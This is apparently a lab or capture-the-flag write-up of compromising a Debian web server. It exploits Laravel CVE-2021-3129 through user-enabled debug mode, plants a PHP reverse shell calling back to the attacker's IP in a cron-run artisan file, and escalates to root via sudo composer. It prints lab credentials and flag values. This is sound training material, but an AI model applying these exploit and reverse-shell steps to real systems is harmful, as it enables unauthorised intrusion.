Difficulty: Intermediate
Service Discovery
Open Ports & Priority
TCP Ports:
- 80
- 22
Service Enumeration
80
Apache/2.4.56 (Debian)
Chicago, US Phone: +00 1515151515 email: test@test.com

Contact us form, but attempting to submit it brings us to a 404 not found page displaying “Laravel 8.4.0”

Contact form on the homepage, but attempting to submit it brings us to a 404 not found apage displaying “Laravel 8.4.0”.
Googling this software name/version brought me to a PoC for CVE-2021-3129, which allows for remote code execution in instances of Laravel ⇐ v8.4.2 in debug mode. https://www.exploit-db.com/exploits/49424 https://github.com/khanhnv-2091/laravel-8.4.2-rce
Another blog goes into deeper detail on this CVE: https://blog.lexfo.fr/laravel-debug-rce.html Corresponding POC: https://github.com/ambionics/laravel-exploits
We’ll keep this in mind but explore a bit more, since we don’t know if this instance is in debug mode or not.
/login
“These credentials do not match our records.”
No obvious SQLi
/password/reset
Discloses registered email addresses. “We can’t find a user with that email address.”
Couldn’t find test@test.com.
/register
We can create an account on /register.

Ah… this is an important finding. We can enable debugging mode by toggling this switch upon logging in. Any user can create an account (without even verifying that they’ve submitted a valid email which they control) and enable debug mode.
As we found earlier, this version in debug mode is vulnerable to CVE-2021-3129 which allows for RCE.
We can also upload images (post to /upload-image), which get overwritten with a new filename and are stored in /images.

I was having difficulty using the exploits linked above, but found one that was easier to work with: https://github.com/joshuavanderpoll/CVE-2021-3129
With some trial and error, I got chain laravel/rce2 to work for me.
python3 CVE-2021-3129.py --host http://192.168.222.38 --chain laravel/rce2
execute "whoami"

Unexpectedly, in the case of running commands containing spaces, double quotes don’t allow it to run properly.

I’ll run a listener with penelope, then execute the provided payload to establish a bash TCP reverse shell.
Privilege Escalation
www-data → skunk
Since I’m using penelope, I’ll run linPEAS.sh by returning to the menu with F12 and running run peass_ng.
In the meantime, I’ll start manual enumeration. Edit: linpeas never revealed anything interesting.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
hostname: debian Debian GNU/Linux 11 (bullseye) 5.10.0-25-amd64 (supposedly vulnerable to Dirty Pipe, as kernel is 5.10.0-25).
Environment variables have some interesting information:
- DB_PASSWORD=sdfquelw0kly9jgbx92
- REDIS_PASSWORD=null
- REDIS_HOST=127.0.0.1
- APP_KEY=base64:zfXJipTpbCyrZHRDpn0/NmdpHTbAl7/hCMf476EP1LU=
- MAIL_PASSWORD=null
MySQL
ss -tulpn shows 3306 is running on localhost, and we found credentials in env, so it’s probably a good idea to check for information in the database.
I’ll use ligolo-ng for port forwarding, but something simpler like ssh -R back to our machine would also work, as we just need access to this single port.
Connect to the mysql server using the creds found from the env
mysql -h 240.0.0.1 -u lavita -p --skip-ssl-verify-server-cert
Nothing interesting found, we’re the only user in the database.

Skunk cronjob
I found a cronjob running as uid 1001, skunk, using pspy. This wasn’t previously known, as we can’t read skunk’s cron files. A good reminder to ALWAYS monitor processes for a few minutes.
2025/11/15 11:45:09 CMD: UID=0 PID=1 | /sbin/init 2025/11/15 11:46:01 CMD: UID=0 PID=27082 | /usr/sbin/CRON -f
2025/11/15 11:46:01 CMD: UID=0 PID=27083 | /usr/sbin/CRON -f
2025/11/15 11:46:01 CMD: UID=1001 PID=27084 | /usr/bin/php /var/www/html/lavita/artisan clear:pictures
2025/11/15 11:46:01 CMD: UID=1001 PID=27085 | /usr/bin/php /var/www/html/lavita/artisan clear:pictures
2025/11/15 11:46:01 CMD: UID=1001 PID=27087 | sh -c stty -a | grep columns
2025/11/15 11:46:01 CMD: UID=1001 PID=27086 | stty -a
2025/11/15 11:46:01 CMD: UID=1001 PID=27088 |
2025/11/15 11:46:01 CMD: UID=1001 PID=27090 | sh -c stty -a | grep columns
2025/11/15 11:46:01 CMD: UID=1001 PID=27089 | sh -c stty -a | grep columns
2025/11/15 11:46:01 CMD: UID=1001 PID=27091 | sh -c rm -Rf /var/www/html/lavita/public/images/*
2025/11/15 11:46:01 CMD: UID=1001 PID=27092 | rm -Rf /var/www/html/lavita/public/images/*
We can write to /var/www/html/lavita/artisan, meaning we can execute arbitrary PHP code as UID 1001, skunk.
I’ll copy artisan to artisan.bak, then replace artisan with the Ivan Sincek shell from revshells.com using my IP and port: https://www.revshells.com/PHP%20Ivan%20Sincek?ip=192.168.45.216&port=4444&shell=%2Fbin%2Fbash&encoding=%2Fbin%2Fbash
Within the next minute I caught a shell as skunk.

skunk → root
sudo -l shows that skunk is able to any command with a password, or composer as root without a password.

Checking GTFObins, there is a method we can use for composer: https://gtfobins.github.io/gtfobins/composer/
It requires modifying /var/www/html/lavita/composer.json… while skunk actually can’t write to composer.json, www-data can, so I’ll switch back to my other session and make the change manually with nano.

Now back as skunk:
sudo /usr/bin/composer --working-dir=/var/www/html/lavita run-script x
At last, we get a root shell!
Proof Screenshots (local.txt / proof.txt)
type or cat flag and include IP address in screenshot
/root/proof.txt 7b725c03f38cea82011e12a52afb8b87
/home/skunk/local.txt fd936012c9028edea8fea7e74fd52e12
